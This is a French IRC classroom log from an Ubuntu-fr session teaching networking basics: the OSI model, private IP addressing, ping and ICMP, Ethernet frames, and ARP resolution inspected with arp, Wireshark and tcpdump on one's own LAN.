U-Classroom : Les réseaux (@gapz)

d'après 2007-09-11-network.log


Bonsoir à toute et à tous, alors ce soir nous allons donc parler un petit peu des LANs.

Le but de cette initiation n'est pas de vous parlez de toute la theorie qui tourne autour, ni de vous presenter le fonctionnement dans sa globalité, mais plutot de vous expliquez quelques concepts qui vous ameneront à adopter un raisonnement logique et à vous posez des questions. En effet, ce domaine etant assez "complexe" (dans le sens ou il y a enormement de chose a savoir pour le maitriser dans sa globalité), il est beaucoup plus facile de l'aborder en se posant des questions et à comprendre par soi meme la logique du système.

Tout ce jolie discours pour vous dire que ce soir, c'est vous qui bosser! (Je m'excuse d'avance pour les innombrables fautes dont vous serrez témoin. Je ne suis pas non plus à l'abris de dire une connerie, donc n'hésiter pas à me corriger).

Et n'oubliez pas, n'hesitez pas à poser des questions, encore, encore et encore. Et essayer aussi, d'etre toujours dans le cadre de la dicussion les questions hors cadre auront lieu à la fin


Tout abord, avant d'attaquer dans le vif du sujet je vais devoir vous présenter quelques aspects theorique des réseaux (il est très difficile de presenter un aspect precis des réseaux pour des personnes qui ne connaissent pas les réseaux bien sur :)). Je supose que tout le monde ici imagine deja ce qu'est un reseau (juste une vague idée, pas besoin de savoir comment ca marche) ?


Donc donc, pour pouvoir faire communiquer des ordinateurs (d'une manière générale tout systeme disposant d'interface permettant de communiquer), il fallait bien definir (et normaliser) le principe de fonctionnement dans sa globalité.

Pour cela, a été effectué un decoupage logique des fonctionnalités principales dont le resultat est appelé "modèle en couche". De nos jours, il existe plusieur de ces modèles, mais celui qui est le plus utilisé reste TCP/IP. On peut aussi cité OSI qui est très utilisé à des fins pédagogique et qui présente beaucoup de similitude avec TCP/IP. ne partez pas, la pratique vient un peu apres ;)

Je vais maintenant vous parler rapidement du modèle OSI, histoire qu'on ai une vague idée du "à quoi sa sert ? Comment ca marche ?"

OSI, est donc un modèle en 7 couches qui sont (de haut en bas):

Chaque couche à un role particulier dont vous pouvez avoir un apercu ici: Modèle_OSI#Caractérisation résumée des couches

Pour mener à bien le travail que doit accomplir une couche, il existe toute une suite de protocole definis de maniere plus ou moins indépendante, et dont on peu leur definition dans les RFC (Request For Comment): ietf.org

Par exemple, la RFC du protocole ARP: http://www.ietf.org/rfc/rfc826.txt

Ceci est bien sur, présenter de manière très grossière et je vous epargnerais une presentation exhaustive du fonctionne "theorique" :P

Pour ceux qui se pose des questions quand meme, n'hesiter pas ! (Mais evitons de trop s'etendre sur des choses que vous découvrirez tout seul si vous vous y interessez un peu plus ;)) du fonctionnement**


** PAUSE **

20:15 corentin gapz: il faut parler d'encapsulation des protocoles :)
20:15@gapz: et tout devient d'une logique incroyable
20:15 clems_Mod_push: corentin: embrouille pas les gens avec ca :P
20:15 corentin: clems_Mod_push: moi c'est grace a ça que j'ai compris
20:16@gapz: corentin: sans pratique tu peux pas trop parler de ca
20:16@gapz: enfin, de toute facon on va pas trop l'aborder corentin
20:16@gapz: c'est pas le but
20:16 corentin: roooo
20:16* corentin deçu
20:16 corentin: :)
20:16@gapz: corentin: si tu veux on en parle apres ;)
20:16 FiFouille: bon un truc à retenir c'est que les protocoles d'une même couche sont interchangeables
20:16 corentin: :D
20:17 cyril_: heuuuuu
20:17 cool_spot: une seul protocole actif par couche?
20:17@gapz: Bon bon
20:17@gapz: cool_spot: non non
20:17 corentin: cool_spot: pas forcement
20:17 FiFouille: ça permet d'avoir un changement de fonctionnement seulement à un niveau quand on change qqch, genre on doit pas tout recommencer fonction qu'on et sur du réseau filié, sans fil ou fibre optique
20:17@gapz: enfin, meme s'il y en a des predominants
20:17 clems_Mod_push: ca serait trop limitatif cool_spot
20:17* illovae pige que dalle :D
20:17@gapz: FiFouille: enfin, apres c'est pas forcement vrai
20:17@gapz: l'exemple qui va bien c'est IPv6 :)
20:18 FiFouille gapz: ouep, mais c'est l'idée qui est derrière tout de même
20:18@gapz: enfin donc donc
20:18@gapz: on diverge
20:18 grirgz: verge
20:18 corentin: cool_spot: la preuve bittorrent: tu utilises TCP et UDP qui sont tous les deux des protocols de niveau transport
20:18 ::: mode/#ubuntu-fr-classroom [+m] by gapz
20:18@gpocentek gapz: on continue ?
20:18@gapz: je vous coupe la parole désolé ;)
20:18@gapz: gpocentek: grilled :)
20:18@gpocentek: :)

Pour continuer dans les questions existentielles (et avant d'attaquer surtout la partie pratique), qu'est-ce qu'un LAN ?

Ce que j'entend par LAN, c'est un reseau informatique d'une taille plus ou moins grosse se situant dans une meme zone geographique. Un exemple de LAN serait, un petit réseau d'entreprise, *votre* réseau constitué de quelques machines (ou simplement une machine et votre boiboite). (pas forcement informatique sois dit en passant)

20:19 ::: mode/#ubuntu-fr-classroom [-m] by gapz
20:19@effraie: exemples non-informatiques?
20:19 clems_Mod_push: LAN = Local Area Network
20:19 clems_Mod_push: Local koi
20:19 moft: +1 effraie
20:20@gapz: effraie: des reseaux de trucs embarqués, enfin c'est toujours dans un cadre informatique
20:20 corentin: effraie: telephone ?
20:20@gapz: et tout ce qui est domotique effraie
20:20@effraie: k
20:20 cool_spot: blutooth
20:20@effraie: *ique tt de même
20:20@effraie: je m'attendais a des trucs plus ésotériques ^^ "
20:20@gapz: tout le monde voit donc un peu près ?
20:20 clems_Mod_push gapz: ya l exemple de la ville
20:20 corentin: LA SUITE ... LA SUITE
20:20 Capi: la domotique n'utilises pas le même protocle
20:20 clems_Mod_push: avec kes masion le quartier
20:21 clems_Mod_push: ....
20:21@gapz: corentin: du calme, tout le monde n'est pas a ton niveau
20:21 corentin: :)
20:21@gapz: apres il y a plusieurs autres niveau dont nous ne parlerons pas
20:21@gapz: par exemple, les WAN
20:21@gapz: Wide Area Network
20:21 corentin: ou les PAN
20:21 Capi: MAN
20:21@gapz: voila, et il en existe d'autre :)
20:21 corentin: Personal Area Network
20:21 clems_Mod_push: CAN
20:21 FiFouille: coin
20:21 Capi: VAN
20:21 clems_Mod_push: City Area
20:21 * gapz donne une sucette a clems_Mod_push corentin et Capi
20:21 clems_Mod_push: :)
20:22 ::: mode/#ubuntu-fr-classroom [+m] by gapz

Plutot que de partir dans des explications qui ne s'en finirait pas, rentrons directement dans la pratique !!! Plein de point vont surement vous echapper, et j'attend donc vos questions. Soit deux machines (PC, imprimante, routeur, enfin tout ce qui possede une interface ethernet) relié directement par un cable (selon votre configuration, il peu etre croisé ou droit, voir coaxial si vous êtes un vieux fan des belles années). On admet que les adresses logique (appelé adresse IP pour nos autres utilisateurs de IPv4, en effet il en existe d'autre, dont je ne parlerais pas) sont dans le meme sous réseau (j'essaierai de détailler cette notion plus tard, ou tout de suite si tout le monde a envie). Soit par exemple, ma machine A avec l'adresse: 192.168.0.1 Et une machine B avec l'adresse: 192.168.0.2 (La partie adressage ne sera pas traité ici, trop théorique pour etre expliquée sur IRC, enfin, un jour peut etre)

20:23 ::: mode/#ubuntu-fr-classroom [-m] by gapz
20:23@gapz: tout le monde a une config pour test ou pas ?
20:23@gapz: c'est pas grave sinon
20:23@effraie: moi, j'aimerasi bien que tu parles des plages d'adresses (réservées, toussa)
20:23 thomsen: comment on connait son adresse IP ?
20:23 Raude: yep
20:23@gapz: effraie: ok bon bon
20:23 moft: c'est quoi les principales différences entre IPv4 et IPv6 ?
20:23@gapz: quelqu'un d'autre veut que je parle de l'adressage ?
20:23 wiloo: thomsen, ifconfig
20:23@effraie: ^^"
20:23 Capi: ipconfig
20:24@gapz: moft: la taille des adresses ;)
20:24 thomsen: merci
20:24@illovae: c'est quoi l'adressage ? les histoires de classes ?
20:24 moft: merci
20:24@gapz: moft: et quelques autres petites nuances
20:24 wiloo: Capi, au bucher o:)
20:24@gapz: Bon, si plusieurs personnes veulent que je parle de l'adressage je vais vous en toucher un mot tout de suite
20:24 clems_Mod_push gapz: ca risque d'etre long non ?
20:24@gapz: et détailler apres
20:24 Capi: pk?
20:24 ::: mode/#ubuntu-fr-classroom [+m] by gapz

bon, la je fais ca a la main donc ca va etre un peu moins rapide

l'adressage, c'est tout ce qui concerne l'attribution d'adresse logique avec IP, il y a plusieur classe d'adresse A, B, C et D qui ont des plages reservés en fonction des premiers bits de poids fort (si vous ne connaissez pas le binaire, il est pas trop tard pour apprendre)

les classes A, B et C peuvent etre utilisées de maniere classique dans un reseau local bien qu'il y ai des plages normalisé pour les réseaux privées je ne les ai pas en tete, mais c'est normalisé, donc vous retrouverer ca dans la norme qui va bien ;)

la classe D quand a elle, sert essentielement pour le multicast (j'en parlerais à la fin si j'ai le temps ;))

20:27@gapz: vous vous etes fait une idée ?
20:27 FiFouille: Les différentes classes d'adresses
20:27 clems_Mod_push: Site exemple http://www.flumps.org/ip/
20:27 cyril_: A : 10.X B: 178 C : 192
20:27 FiFouille: et les adresses privées ne sont que des exemples de classe d'adresse, un sous ensemble
20:28@gapz: FiFouille: oui c'etait implicite :)
20:28 clems_Mod_push: cyril_: 192 ??
20:28 cyril_: 192.168.0.1
20:28 clems_Mod_push: a ok
20:28 cyril_: 10.0.0.0
20:28 cyril_: abc
20:28@gpocentek gapz: on reviendra là dessus à la fin si besoin ?
20:29 _Evil_: ya pas une différence entre adresse privée et adresses réservées ?
20:29@gapz: gpocentek: oui, enfin, il y a matiere a parler la dessus
20:29@gapz: et je veux pas imposer mon cours
20:29@gapz: :)
20:29 corentin: _Evil_: si
20:29 FiFouille gapz: je crois que si on se contente de retenir les 3 plages d'adresses privées ça sera déjà bien ;)
20:29@gapz: un minimum d'interactivité est necessaire
20:29 cyril_: oui privée : local non routable
20:29@gpocentek gapz: comme tu le sens ;)
20:29@gapz: FiFouille: voila
20:29 cyril_: reservee pour ip routable (internet)
20:29 cool_spot: lorsqu'on a UP BROADCAST RUNNING MULTICAST brodcast correpond au local?
20:29 grirgz: vous pouvez pas reprendre depuis le debut, j'etait parti aux toilettes ?
20:29 FiFouille gapz: t'expliques le broadcast en +m ?
20:30@gapz: attend
20:30 alkove: adressage ip : http://www.bhamdaoui.com/awatif/reseaux/adressageip.htm
20:30@gapz: ca je l'explique plus tard FiFouille ;)
20:30@gapz: Bon bon
20:30@gapz: noter les liens, je coupe
20:30:::
20:30 cyril_: ?
20:30 ::: mode/#ubuntu-fr-classroom [+m] by gapz
20:30@gapz: cyril_: on se passera de tes commentaires
20:30@gapz: et de tes explications aussi

Donc nous reviendrons un peu apres à l'adressage Passons, à un exemple simple Nous allons essayer de comprendre maintenant qu'est-ce qu'il se passe quand nous tapons la commande:

$ ping -c 2 192.168.0.2 # (à partir de 192.168.0.1)

Avant tout, histoire de pas etre perdu dans toute les notions que je ne vais pas expliquer tout de suite, à quoi sert la commande ping ? En fait, elle sert à tester la connectivité entre deux machines (la plupart du temps). Il utilise pour cela le protocole ICMP qui est decrit dans la RFC 777. Le fonctionnement en detail ici nous importe peu. (Pour les curieux, le -c 2 indique d'envoyer juste deux requetes ICMP ECHO) ICMP ca veut dire: Internet Control Message Protocol c'est decrit dans la RFC 792

20:32@gapz: Est-ce que tout le monde a une box ou une station a pinger ?
20:32@illovae: si on a pas de réseau sous la main, on peut le faire avec une adresse internet ? (genre google)
20:33@gapz: illovae: non non
20:33 Lutin gapz: 127.0.0.1 ca compte ? :}
20:33@illovae: moi ma box je peux pas vraiment la pinger c'est comme si elle existait pas
20:33@gapz: illovae: tu as un shell chez moi ;)
20:33 FiFouille: ping -c 2 www.google.fr ça marche très bien aussi
20:33@gapz: Lutin: non :]
20:33@illovae: hum
20:33 Lutin gapz: :]
20:33@gapz: FiFouille: pas pour mon exemple ;)
20:33@gapz: tu comprendras FiFouille
20:33@gapz: Bon, ceux qui ne se prononce pas je suppose que oui
20:33 corentin: illovae: oui mais c'est plus du LAN
20:33 cool_spot: oui ping pong c'est bon
20:33 FiFouille gapz: genre il va parler du TTL /o\
20:33 elessor: comment je connais l'adresse de ma box?
20:34@gapz: (127.0.0.1 pour les curieux c'est la boucle local)
20:34@gapz: FiFouille: pas du tout
20:34 corentin: elessor: ifconfig
20:34@gapz: elessor: bah c'est quoi ton adresse deja ?
20:34@gapz: adresse privé bien sur
20:34 cyril_: l'adresse de ta box c le numero de passerelle dans ifconfig
20:34 cool_spot: elessor c'est l'adresse de ta passerelle
20:34@gapz: apres, tu deviens rapidement quelle est l'adresse de ta box :)
20:34 cool_spot: oups grillé
20:34@gapz: enfin, tu peux aussi matter ta passerelle quoi
20:34 corentin: cyril_: non
20:34 cyril_: si
20:34 ::: cyril_ was kicked from #ubuntu-fr-classroom by gapz [gapz]
20:34 elessor: adresse privé? kézako :P (désolé, jme suis ptét perdu dans un cours qui n'étais pas pour débutants xD)
20:35 corentin gapz: merci :)
20:35 FiFouille: ha mais non, j'ai même pas eu le temps de lui dire que c'était un boulet :/
20:35@gapz: elessor: bah c'est l'adresse qui t'appartient dans ton sous réseau
20:35@gapz: tu ne "sors" pas sur internet avec
20:35@gpocentek: elessor: 'cat /etc/resolv.conf', t'as des chances d'avoir le bon résultat
20:35 clems_Mod_push: non routable :)
20:35@gapz: c'est une adresse qui n'est pas valide pour allez sur le net
20:35 corentin: c'est des adresses non publiques
20:35 elessor: un truc qui pourait ressembler à 192.168.1.36 ?
20:35 corentin: oui
20:35 clems_Mod_push: ouip
20:36@gapz: elessor: ecoute gpocentek ;)
20:36 clems_Mod_push: change 36 en 1
20:36@gapz: Bon, je supose que tout le monde a la config sous la main
20:36 clems_Mod_push: et ta la gate
20:36 clems_Mod_push: euh passerelle
20:36 FiFouille: elessor: ouep, et faut bien se dire que t'es sûrement pas le seul a avoir une adresse comme ça ... d'où le principe d'adresse privée, elle n'a lieu d'être que dans ton réseau _local_
20:36:::mode/#ubuntu-fr-classroom [+m] by gapz

Donc donc, apres cette belle commande, vous devriez avoir un truc du style:

PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=255 time=0.274 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=255 time=0.262 ms
--- 192.168.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 0.262/0.268/0.274/0.006 ms

Pour interpreter cela grossierement, on va dire que: "ca marche". Dans un cas contraire, on aurait pue avoir une reponse du style:

PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
From 192.168.0.3 icmp_seq=1 Destination Host Unreachable
From 192.168.0.3 icmp_seq=2 Destination Host Unreachable
--- 192.168.0.2 ping statistics ---
2 packets transmitted, 0 received, +2 errors, 100% packet loss, time
1014ms, pipe 2

bien sur "Destination Host Unreachable" est un message d'erreur specifique qui peut servir a diagnostiquer le probleme Mais ce n'est pas ca qui nous interesse ici

Bref, pour le moment essayons plutot de comprendre comment l'echange est réalisé. Pour cela, je vais introduire une nouvelle notion, celle de "trame". Pour eviter de rentrer dans les details je vais comparer une "trame" à une lettre qu'on doit poster. Pour pouvoir envoyer une trame il faut donc: une adresse "physique" source, une adresse "physique" de destination et des données (l'adresse physique, c'est l'adresse MAC de votre carte reseau, elle est unique: ifconfig, champs HWaddr). Cette trame est composé d'autre "champs", nous verrons lesquels un peu apres. (Pour les préssés, allez voir la norme IEEE 802.3) (ca va vite les ralentir :P)

20:38@gapz: L'adresse MAC je suppose que vous connaissez ?
20:38 FiFouille gapz: non
20:38 Capi: adresse unique au monde
20:38 elessor: (merci pour vos réponses précédentes :P par contre gpocentek ta commande me renvoit l'adresse de ma box :P)
20:38@gapz: c'est une adresse que fixe le constructeur de votre carte reseau
20:38@gpocentek: elessor: wep, c'était voulu ;)
20:38@gapz: qui est constitué de maniere speciale
20:39 cool_spot: non pas trop vite, je veux juste savoir pourquoi dites vous que ce n'est pas la box la passerelle? C'est s'il es derriere un routeur?
20:39@gapz: pour les details, je vous rapporte a google.Fr ;)
20:39 clems_Mod_push gapz: pour info il est possible d'avoir 2 carte avec la meme MAC
20:39 The_Tito: non
20:39@gapz: clems_Mod_push: oui oui je sais
20:39 Capi: non
20:39@gapz: si si
20:39 FiFouille: techniquement elles sont probablement pas uniques, mais la probabilité d'en avoir deux identiques sur un même segment (réseau) est infime
20:39@gapz: on peut le changer de maniere logiciel
20:39 Capi: sauf si vous la changez
20:40 clems_Mod_push gapz: :P
20:40@gapz: :)
20:40 clems_Mod_push: c pratiqque pqrfois
20:40@gapz: enfin, les details pour le moment osef :)
20:40@gapz: sauf si bien sur VOUS voulez detailler
20:40:::mode/#ubuntu-fr-classroom [+m] by gapz
20:40:::mode/#ubuntu-fr-classroom [+o FiFouille] by gapz
20:41@gapz: (FiFouille: donc la c'est le moment on tu parles de GnuPG :P)

Il nous faut donc une adresse "physique" de destination. Seulement voila, lorsqu'un on tape " ping 192.168.0.2 ", on specifie une adresse logique de destination. Il va donc falloir trouver un moyen pour faire la correspondance entre adresse logique et adresse physique.

20:41@gapz: Tout le monde voit à peu près pourquoi ?
20:41@gapz: *lag*
20:41 grirgz: pan!
20:41@FiFouille: hint: faut que la couche réseau (IP) parle à la couche liaison (ARP & MAC)
20:42@gpocentek: vu
20:42@gapz: ok, donc si gpocentek comprend tout le monde
20:42@gapz: comprend
20:42 The_Tito: ^^
20:42 Sp4rKy: ^^
20:42@gpocentek: :)
20:42 moft: :)

parlons des choses qui fache

C'est donc le protocole ARP (Address Resolution Protocol) qui permet de faire cette association. Il maintient pour cela une table avec les correspondances @logique - @physique.

Revenons donc le moment juste après que l'on est tapé notre commande. Tout d'abord, il y a une verification de la table ARP pour savoir s'il n'y a pas d'adresse physique en correspondance avec notre adresse logique. Admettons que non. ARP entreprend alors d'obtenir l'adresse physique de destination au moyen d'une requete simple: "A qui appartient cette @#! d'adresse logique 192.168.0.2 ?" Et cette belle trame est envoyé à "tout le monde", soit une adresse physique de destination qui est composé de: "FF:FF:FF:FF:FF:FF" (on appel cela un broadcast).

Les stations qui vont recevoir cette trame, vont se dire "tiens c'est pour moi", vont regarder la requete ARP, verifier que c'est leur adresse physique qu'on veut savoir (il suffit de regarder le champ: adresse logique de destination contenue dans la requete ARP), et renvoyer une reponse: "192.168.0.2 est à 00:C0:A8:F4:6A:74" par exemple.

Si la requete ne nous est pas destinée (cad si l'adresse logique de destination contenue dans la requete ARP n'est pas la notre) alors elle sera tout simplement ignorée.

Une fois l'adresse physique de destination recupérée, notre trame pourra alors être envoyé au bon destinataire. On pourra noté qu'ARP aura pris soin d'ajouter la correspondance @logique→@physique dans sa table. Pour pouvoir voir cette table, mettez un petit coup de "arp -a" dans votre shell, ou bien "cat /proc/net/arp". Pour le reste, man arp ;)

20:44@FiFouille: bon sinon on peut faire l'analogie du con qui débarque au café
20:44@gapz: FiFouille: \o/
20:44 Raude: FiFouille: oui... ?
20:44@FiFouille: "qqun connait jean pol ?" et si jean pol entend, il répond "oui, c'est moi"
20:44 *gpocentek comprend *tout*
20:44@gapz: Des questions ?
20:44@illovae: euh
20:45@gapz: illovae: si quelque chose te gene n'hesite pas
20:45@FiFouille: bon ça induit aussi des problèmes de sécurité, genre si françois répond "oui, c'est moi" mais on en parlera ptet plus tard ;)
20:45 moft: heu..et si jean pol entend pas ?
20:45 cyril_: comment on peux voir le contenu d'une requete arp et voir cela ?
20:45@illovae gapz: ok merci
20:45@FiFouille: moft: bonne question
20:45 grirgz: et si jean pol est completement bourré ? :p
20:45@FiFouille: moft: et je pense que d'autres personnes peuvent répondre à la place de jean pol
20:45@gapz: FiFouille: non je crois pas
20:45@FiFouille: sauf que oui, s'ils ont pas remarqué que jean pol est déjà rentré chez lui, l'info est pas cohérente
20:45@gapz: je crois que les requetes sont renvoyer periodiquement
20:46 moft: et ça fait du ARP poisoning non ?
20:46@gapz: jusqu'a temps que ca marche
20:46@gapz: moft: on en reparlera avec demo à l'appuie si tu veux ;)
20:46@gapz: pour le moment, on va appuyer l'exemple
20:46 moft: okay
20:46@gapz: Personne a de question jusque la donc ?
20:46@FiFouille: bon et sinon j'ai dit une connerie, y'a que la machine demandée qui répondra ;)
20:46 cyril_: ben si
20:46 elessor: donc en clair, quand on balance un ping, ARP demande à tous les trucs branchés à not' PC "c'est qui 192.168.1.1 ??" et il atend une réponse?
20:46@gapz: FiFouille: ;)
20:47@gapz: elessor: voila, pour demander l'adresse MAC pour completer l'adresse de destination de la trame
20:47 elessor: ouai ça j'avai compris...
20:47@gapz: voila :)
20:47@gapz: Bon
20:47 elessor: mais s'il trouve la correspondance dans sa table il a pas besoin de faire ça?
20:47@gapz: non il a pas besoin de faire
20:47@gapz: +ca
20:47@gapz: et envoie directement la trame au destinataire
20:48@FiFouille: y'a un cache qui reste effectif pendant une durée donnée
20:48@FiFouille: pas obligé de redemander à chaque fois

Comme vous l'aurait compris, s'en suit ensuite quelques echanges correspondant à l'outil ping (protocole ICMP toussa ;))

Analysons un plus en details une trame, notamment celle avec notre requete ARP. Pour cela, vous avez besoin d'un sniffeur de paquet (qui permet simplement "d'ecouter" les paquets qui passe sur une interface et de les analyser ensuite). Le plus simple mais aussi un des plus performants est Ethereal, plus connu maintenant sous le nom de Wireshark (un petit coup d'apt-get install s'impose pour ceux qui ne l'ont pas bien sur). Si vous vous sentez l'ame d'un bricoleur vous pouvez toujours vous servir de tcpdump, qui est lui aussi extremement performant.

Tout d'abord, enlever de votre table ARP la correspondance avec l'hote que nous voulons joindre. Par exemple 192.168.0.1:

  # arp -d 192.168.0.1

Maintenant, lancer la capture de paquet avec votre sniffeur. Par exemple avec wireshark: Ctrl+k puis choissez l'interface qui va bien et "Start". Pour ceux qui ne pourrais pas "simuler" cette situation, voici un exemple de fichier contenant un echange réaliser chez moi:

20:50@gpocentek gapz
20:50@gpocentek: wireshark à lancer en root ?
20:50@gapz: ttzy.ath.cx/~gapz/classroom/arp-query
20:50@gapz: gpocentek: ouep
20:50@gapz: pour avoir le droit de sniffer
20:50@gpocentek: ok
20:50@gapz: j'ai oublié de le preciser
20:51@gapz: on peut pas mettre la carte en mode promiscious sans etre root
20:51@gapz: promiscuous meme
20:51@FiFouille gapz: on peut pas écouter le trafic tout court
20:51@gapz: :)
20:51@gapz: rho ca va, c'etait pour sortir un mot savant
20:51 ::: mode/#ubuntu-fr-classroom [-m] by gapz
20:52@illovae: j'ai deux questions :)
20:52@gapz: tout le monde a reussi a choper les quelques trames ?
20:52@gapz: illovae: on t'ecoute
20:52@illovae: 1: arp -a en fait ça sert à voir l'ip dans le réseau local juste non ?
20:52@gapz: illovae: non :)
20:52@gapz: ca sert a voir la correspondance adresse logique → physique
20:52@gapz: d'une machine dans ton sous reseau :)
20:52@illovae: ouai mais dans arp -a on voit pas tout le réseau ?
20:52@gapz: illovae: non non juste ton sous reseau :)
20:53 cyril_: seulement celles avec lesquelles tu as deja eu un contact il me semble
20:53@illovae: hum...
20:53@gapz: ha ok, je vois mieux le but de ta question :)
20:53 corentin: illovae: ça montre le cache arp de ta machine
20:53@gapz: cyril_: pas du tout
20:53 Raude: ard garde pas en cache les adresses extérieurs ?
20:53@illovae: bon pour faire simple, j'imagine que dans le réseau où je suis y'a plusieurs machines, mais je vois que deux adresses de sous-réseau
20:53 Raude: *arp
20:53 cyril_: si je ping ma seconde machine sur mon reseau local j'ai sa mac
20:53@illovae: pourquoi ?
20:53@FiFouille: arp -a ça affiche tout simplement les correspondances MAC - IP en cache
20:53@gapz: les requetes arp passe pas les routeurs, enfin ca depend des cas mais la plupart du temps non il me semble
20:54 corentin: illovae: nmap -sP 192.168.0.0/24
20:54 cyril_: ben je suis deux pc sur un routeur ddrt
20:54@gapz: Raude: non non juste celle de ton sous reseau
20:54 corentin: illovae: comme ça t'auras toutes les machines du LAN dans ton cache arp
20:54@illovae: arp ça sert à rien sinon à savoir que t'es connecté à tel machine ?
20:54@gapz: illovae: je comprend pas ta question
20:54@gapz: attention a la notion de sous reseau
20:54@gapz: illovae: non non
20:54 clems_Mod_push: corentin: bourrin !
20:54 corentin: illovae: non c'est la correspondance entre l'IP et la MAC
20:55@gapz: ca sert a completer l'adresse de destination de ta trame

20:55 ::: mode/#ubuntu-fr-classroom [+m] by gapz
20:55@gapz: *ca sert a completer l'adresse de destination de ta trame*
20:55@gapz: sans ca, tu peux rien faire
20:55@illovae: donc l'adresse 192.168.0.2 que je vois dans mon arp c'est l'ip de ma machine dans mon réseau ?
20:55@FiFouille: illovae: le truc à comprendre ce que sur un réseau ethernet 'classique' IP a aucune chance de s'en sortir seul, il doit passer par de l'ARP pour trouver les MAC des gens qu'il veut joindre
20:55@illovae: avec sa correspondance machin là ?
20:55@gapz: illovae: l'adresse MAC :)
20:55@illovae: ouai j'ai compris que c'est un...
20:55@illovae: concordance entre MAC et IP mais je pige pas pourquoi je vois que deux trucs
20:56@illovae: 192.168.0.254 et 192.168.0.2
20:56@gapz: bah c'est machines de ton reseau avec lequels tu as communiqués illovae
20:56@gapz: surement
20:56@illovae: ok
20:56@illovae: c'est tout ?
20:56@FiFouille: illovae: c'est nul hein :p
20:56@gapz: .254 j'imagine que c'est un routeur et .2 une workstation
20:56@gapz: illovae: oui
20:56@illovae: erf okay, bon je me prenais la tête pour rien désolé...
20:56@gapz: et rien que ca c'est bourré de faille :P
20:56@illovae: j'ai le droit à une deuxième question quand même ?
20:56@gapz: illovae: of course
20:57@gapz: pour ceux qui ont des questions
20:57@FiFouille gapz: t'as muté, y'a plus que illovae qui pose des questions :p
20:57@illovae: euh arp -d 192.168.0.2 ça risque pas d'endommagé quoique ce soit dans le réseau ?
20:57@gapz: attendez un peu, et vous aurez votre tour
20:57@gapz: illovae: si c'est l'adresse de ton routeur
20:57@FiFouille: illovae: non, il va juste devoir refaire les requetes
20:57@gapz: voila
20:57@gapz: l'espace d'une seconde tu auras plus le net
20:58:::mode/#ubuntu-fr-classroom [-m] by gapz
20:58@gapz: d'autres questions ?
20:58@illovae: ok (je compte pas le faire, je suis pas sur ma machine, mais c'était pour savoir)
20:58@gapz: illovae: tu peux toujours le faire sur .2 si c'est pas ton routeur
20:58@FiFouille: illovae: c'est transparent, tu t'en rendras même pas compte
20:58@gapz: D'AUTRES QUESTIONS ?
20:58 elessor: on est censé voir quoi avec wireshark?
20:58 clems_Mod_push: euh non chef
20:58@FiFouille gapz: respect, t'as fait mieux que moi avec les regex:p
20:58 Raude: non
20:58 skiron: non
20:58@gapz: elessor: attend on va y venir
20:58 clems_Mod_push: elessor: les trames
20:58:::mode/#ubuntu-fr-classroom [+v elessor] by gapz
20:59:::mode/#ubuntu-fr-classroom [+m] by gapz
20:59@gapz: FiFouille: :]
20:59@gapz: Donc, j'isole elessor pour lui expliquer :)
20:59@gapz: donc, wireshark analyse de qui passe (sort/entre) de ta carte (tes cartes ?) réseau
20:59+elessor: (pour l'instant j'ai lancé la "surveillance" ds tranferts entremon PC et ma box, et c'est le bordel :P)
20:59@gapz: elessor: stop le et recommance
20:59@gapz: et dans la barre de filtre met 'arp'
21:00@gapz: et remet un coup d'arp -d etc avant de lancer l'analyse
21:00+elessor: ok

21:00 ::: mode/#ubuntu-fr-classroom [-m] by gapz
21:00@gapz: Toujours pas de question donc ?
21:00@FiFouille: pour les gens qui aiment pas les trucs graphiques : sudo tcpdump -i eth0 arp
21:01@gapz: On va analyser ces belles trames
21:01@FiFouille: avec eth0 l'interface qui va bien
21:01@gapz: ou vous pouvez chopper mon fichier
21:01@gapz: il y a tout ce qu'on veut
21:01 Raude: euh... c'est normale que ma box se souvienne plus de moi et m'evoi un paquet arp ?
21:01 clems_Mod_push: me : FiFouille tcpdump arp pour les multiples cartes
21:01@gapz: Raude: normalement, tout depend de l'implementation, on envoit des requetes de maniere periodique
21:01 Raude: ok
21:02@gapz: Raude: donc oui, ne t'inquiete pas ;)
21:02 moft: je dois partir :'(, vive les logs
21:02@FiFouille: clems_Mod_push: il prend la première interface par défaut
21:02@gapz: elessor: des que tu seras pres dit le, nous on continue un peu ;)
21:02 moft: bonne soirée tout le monde et bon cours
21:02+elessor: allez y ^^
21:02@gapz: moft: dommage, tu auras loupé l'arp spoofing
21:02@gapz: Bonne soirée moft
21:02@FiFouille gapz: haha, gros sale :p
21:02@gapz: exactement :P
21:02@gapz: bon

On va essayer de détailler notre trame

donc, tout ce qu'on va voir la est normalisé la taille des champs, le type, les differentes valeurs etc

nous allons juste détailler quelques trames pour bien comprendre le concept d'echange de "couche" 2

(s'il y a encore des survivants)

21:04 clems_Mod_push: ouip cool
21:04 cyril_: dis j'ai une question
21:04@gapz: Ca vous derange pas l'analyse de trame ? On peut zappé si vous trouvez ca trop theorique
21:04 cyril_: sur arp
21:04 The_Tito: on écoute attentivement :)
21:04@gapz: ok :)
21:04 clems_Mod_push a non gapz moi je veux :P
21:04 corentin`: re
21:04@gapz: ok ok
21:04 Raude: vive les trames !
21:05 cyril_ gapz, question : dans le cas ou sur un routeur, deux pc on la meme adresse mac, que vas faire le routeur ? envoyer les trames aux deux machines, ou faire autre chose ?
21:05@gapz: :)
21:05@gapz: cyril_: bah si tu as deux adresses MAC identique change de fournisseur de carte réseau
21:05 clems_Mod_push: cyril_: je pense kil les balances
21:05 clems_Mod_push: a tester
21:05 corentin`: cyril_: un coup l'un un coup l'autre selon qui a fait une annonce d'adresse mac en dernier
21:05+elessor: ayè je l'ai eu :P
21:05@gapz: ca depend des implementations
21:05@gapz: on peut pas repondre de maniere absolue
21:06@FiFouille: cyril_: envoyer à celui qui répond le plus vite d'abord, et puis au second qui aura pourri son cache, et puis au premier après un temps tout ça avec des FIN qui lui reviennent de temps en temps si c'est du TCP, en clair, y'a rien qui marche ;)
21:06 clems_Mod_push: en theorie dvrait les balancer au 2 non ?
21:06@gapz: Bon, analysons un peu la premiere trame
21:06 clems_Mod_push: devrait ?
21:06 corentin` gapz: tu veux dire si il garde un cache arp static par exemple ?
21:06:::
21:06@gapz: corentin`: gni ?
21:06@gapz: je repondais a cyril_

Donc, regardons un peu la premiere trame
on peut observer comment est former une trame type ethernet V2
@source @destination @sap @donnee

